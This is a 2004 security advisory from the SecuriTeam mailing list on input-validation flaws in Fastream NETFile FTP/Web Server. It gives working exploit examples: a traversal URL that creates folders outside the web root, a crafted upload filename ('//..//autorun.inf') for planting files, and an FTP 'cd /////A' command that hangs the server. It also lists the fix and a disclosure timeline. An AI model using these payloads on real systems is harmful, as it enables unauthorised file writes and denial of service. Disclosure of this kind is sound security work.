

# [NT] Fastream NETFile FTP/Web Server Input validation Errors

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-07/0006.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 07/04/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 4 Jul 2004 18:45:52 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Fastream NETFile FTP/Web Server Input validation Errors

---

## SUMMARY

Fastream NETFile Server is "a secure FTP server and Web server combined together in one application. Our claim is that it is the easiest to setup and use server on the Internet". Two security vulnerabilities in the Fastream NETFile allow a remote attacker to either write to files that reside outside the bounding HTTP root directory or to cause a denial of service against.

## DETAILS

### Vulnerable Systems:

- \* Fastream NETFile FTP/Web Server version 6.7.2.1085 and prior

### Immune Systems:

- \* Fastream NETFile FTP/Web Server version 6.7.3.1086

There are some input validation errors in Fastream NETFile that allow users to bypass the root directory restrictions. It is easy to exploit this vulnerability and compromise the system because Fastream NETFile allows remote users to upload/create/delete files in the application

## Securiteam: [NT] Fastream NETFile FTP/Web Server Input validation Errors

directory. Another vulnerability exists in the way that NETFile handles some URLs. After requesting a special crafted directory it's possible to cause a 1 minute Denial of Service.

Exploit code:

The problem is in the way that NETFile handles two Slashes.

Example URL:

[http://HOST:PORT/?command=mkdir&filename=../FOLDER\\_IS\\_OUTSIDE\\_THE\\_ROOT\\_DIRECTORY](http://HOST:PORT/?command=mkdir&filename=../FOLDER_IS_OUTSIDE_THE_ROOT_DIRECTORY)

```
C:\>dir FOLDE*
```

```
Volume in drive C is W2000P
```

```
Volume Serial Number is xxxx-xxxx
```

```
Directory of C:\
```

```
07/03/2004 07:47p <DIR>
```

```
FOLDER_IS_OUTSIDE_THE_ROOT_DIRECTORY
```

```
0 File(s) 0 bytes
```

```
1 Dir(s) 119,015,936 bytes free
```

NETFile allows some other methods in the "command" parameter that could be used to create/delete folders/files outside the root directory.

To exploit the upload files vulnerability we need to take a look to the data sent in the POST request:

```
-----7d42c98700ea
Content-Disposition: form-data; name="upfile"; filename="D:\foo.txt"
Content-Type: text/plain
```

THIS IS AN EXAMPLE

```
-----7d42c98700ea--
```

Its possible for an attacker to modify the filename parameter to something like: Filename="//..//autorun.inf" and place malicious files in the system, or overwrite existing files.

Seems that the FTP Server is not vulnerable to this issue and transversal directory attacks are not possible, but there is another bug that allows malicious users to cause a denial of service by executing the following command:

```
D:\>ftp localhost
```

```
Connected to at4r.intranet.
```

```
220 Fastream NETFile FTP Server Ready
```

```
User (at4r.intranet:(none)): ftp
```

```
331 Password required for ftp.
```

```
Password:
```

```
230 User ftp logged in.
```

```
ftp> cd /////A <-- here the ftp server hangs for a lot of time
```

```
599 No such directory.
```

Securiteam: [NT] Fastream NETFile FTP/Web Server Input validation Errors

ftp>

Solution:

The best solution is to upgrade the software to version 6.7.3 that was released by vendor 3 July 2004. Another way to minimize the impact of this vulnerability is to store the root directory of Fastream NETFile server in other partition and remove create/delete file and directory permissions from all users, included Guest accounts.

Disclosure Timeline:

3 July, 2004: Vendor Contacted.

3 July, 2004: Issue Fixed after 2 hours. New release 6.7.3 available

4 July, 2004: Public Disclosure

ADDITIONAL INFORMATION

The information has been provided by <mailto:at4r@haxorcitos.com> at4r.

The original article can be found at:

<[http://www.haxorcitos.com/Fastream\\_advisory.txt](http://www.haxorcitos.com/Fastream_advisory.txt)>

[http://www.haxorcitos.com/Fastream\\_advisory.txt](http://www.haxorcitos.com/Fastream_advisory.txt)

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.